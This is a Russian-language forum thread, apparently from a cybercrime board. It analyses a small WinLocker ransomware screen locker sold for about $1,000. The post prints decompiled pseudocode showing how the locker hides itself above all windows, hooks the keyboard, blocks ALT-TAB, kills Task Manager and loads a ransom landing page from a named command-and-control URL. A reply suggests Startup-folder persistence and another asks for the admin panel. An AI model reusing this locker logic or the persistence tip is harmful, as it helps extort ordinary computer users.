• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья EURO WinLocker

Apocalypse

CPU register
Пользователь
Регистрация
28.06.2011
Сообщения
1 303
Реакции
1 434
Делать в общем было нечего и я полез самизнаетекуда в поисках очередных ништяков гадких вирусов :shit:

Просматривая свежие посты с семплами, наткнулся на интересный локер с размером всего 3.5 Кб. Ого, до чего техника дошла, подумал я. Но внимание также привлек скрин:



Который я уже где-то видел...



Ну вот и рыба моей мечты свежий, недавно появившийся локер с прайсом в 1к американских рублей.

Небольшое описалово:
- работает билд во всех семествах windows (x64\x32)
- блокирует системные клавиши, перекрывает диспетчер задач
- отрабатывается со включенным UAC
- отстук со связки в среднем 60-80% с лоадера 90-100%
- налаженный автозапуск
- живёт в системе стабильно

Функционал в принципе обычный, автор еще обещает кучу лендингов под разные страны:
Наш софт работает с 13-ю странами европы AT BE CH DE ES FI FR GR IT NL PL PT SE и при запуске локера выдаёт лендинг нужной страны с нужным языком!

Кое-где автор также упомянул, что лендинги тянутся с админки и показываются в окне браузера, который раскрывается на весь рабочий стол и там корованы можно грабить.... Стало интересно, как оно все там сделано в 3.5 Кб

Спасибо Ильфаку, за лучи счастья Hex-Rays и псевдокод

Семпл попался без крипта и прочих полиморфов. На OEP нас встречает такой код:
Код:
  v0 = LoadLibraryA("atl.dll");
  hModule = v0;
  v1 = GetProcAddress(v0, "AtlAxWinInit");
  v1();
  v2 = GetModuleHandleA(0);
  CreateDialogParamA(v2, (LPCSTR)0x3E8, 0, DialogFunc, 0);
  while ( GetMessageA(&Msg, 0, 0, 0) )
  {
    TranslateMessage(&Msg);
    DispatchMessageA(&Msg);
  }
  v3 = FreeLibrary(hModule);
  ExitProcess(v3);

Из интересного:
- грузится atl.dll
- из нее вызывается AtlAxWinInit (для использования интерфейса IE без лишнего напряга) и если создать окно в таком формате CreateWindowEx(0, "AtlAxWin", "http://yandex.ru/" ...), то покажется окно браузера с открытой страницей Яндекса
- создается диалог с номером шаблона диалога 0x3E8 - "1000", который выглядет так:



Чтобы создать диалоговое окно, функция CreateDialogParam использует функцию CreateWindowEx.

Из вышесказанного становится понятно, что откроется браузер с адресом http://gateforback.info/escash/income.php, откуда будет загружен лендинг под конкретную страну (у меня открылся Bing, т.к админка локера уже редиректит на него или моя страна не входит в число профитовых)

- обработчик сообщений диалога

Код:
 switch ( a2 ) //тип сообщения
  {
    case 0x110: //если WM_INITDIALOG - начало создания диалога
      ShowWindow(hDlg, 3); //показываем диалог и раскрываем на весь экран
      v4 = GetWindowLongA(hDlg, GWL_STYLE); //получаем стили диалога
      SetWindowLongA(hDlg, GWL_STYLE, v4 & 0xFF3BFFFF); //убирает заголовок и прочие кнопки
      v5 = GetWindowLongA(hDlg, GWL_EXSTYLE);
      SetWindowLongA(hDlg, GWL_EXSTYLE, v5 | 0x80000);
      SetLayeredWindowAttributes(hDlg, 0, 0xFFu, 2u); //отключает прозрачность
      v6 = GetCurrentThreadId();
      dword_402084 = (int)SetWindowsHookExA(2, fn, 0, v6); //обработчик клавиш
      RegisterHotKey(0, 0x6Cu, 1u, 9u); //отключает ALT-TAB
      SetWindowPos(hDlg, HWND_MESSAGE|0x2, 0, 0, 0, 0, 3u); //выносит окно диалога поверх всех окон
      SetTimer(hDlg, 0x65u, 0x28u, 0); //запускает 40-мс таймер для следующего case
      hWnd = hDlg;
      SetForegroundWindow(hDlg); //на передний план
      SetWindowPos(hWnd, 0, 0, 0, 0, 0, 3u); //и еще разочек для верности
      break;
   case 0x113: //если WM_TIMER - сработал таймер и выносим окно диалога поверх всех остальных окон, если оно еще не вынесено, тем самым скрываются различные меню браузера
      SetForegroundWindow(hWnd);
      SetWindowPos(hWnd, 0, 0, 0, 0, 0, 3u);
      v7 = GetForegroundWindow();
      if ( v7 != hWnd )
      {
        v10 = v7;
        GetClassNameA(v7, String1, 30);
        if ( !lstrcmpA(String1, "#32770") )
        {
          dword_402000 = (int)v10;
          ShowWindow(v10, 0);
        }
      }
      if ( !byte_402004 )
        EnumWindows(EnumFunc, 0); //тут ищется окно виндового диспетчера задач и убивается через WM_ENDSESSION
      break;
    case 5: //если WM_SIZE - кто-то пытается изменить размеры окна, то обламывается
      v8 = GetDlgItem(hDlg, 1001);
      MoveWindow(v8, 0, 0, (unsigned __int16)a4, a4 >> 16, 1);
      break;
  }
  return 0;
}

Вот в принципе и все, юзверь ловит лендинг и если лох - бежит за ваучером, вбивает его и ничего, возможно там показывается сообщение с просьбой перезагрузить комп, но никакого кода автозагрузки я не увидел, а может это нерезидентная версия локера.

з.ы.: а ALT-Space видимо не продумали, хе-хе...

з.з.ы.: сам семпл
 

Вложения

  • OOF5q.gif
    OOF5q.gif
    67.1 КБ · Просмотры: 546
  • 22072012005829.gif
    22072012005829.gif
    107.2 КБ · Просмотры: 719
  • qCCEV.gif
    qCCEV.gif
    37 КБ · Просмотры: 630
Apocalypse
Интересно было почитать, спасибо, своеобразный реверс с рассуждениями...

p.s.
никакого кода автозагрузки я не увидел, а может это нерезидентная версия локера

CopyFile в \Documents and Settings\Admin\Главное меню\Программы\Автозагрузка\ такое тоже никто не отменял... ну или создание там ярлыка...

p.s.s. hex rays рулит;)
 
и админку интересно посмотреть, если есть поделитесь, все равно уже продажи не актуальны.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх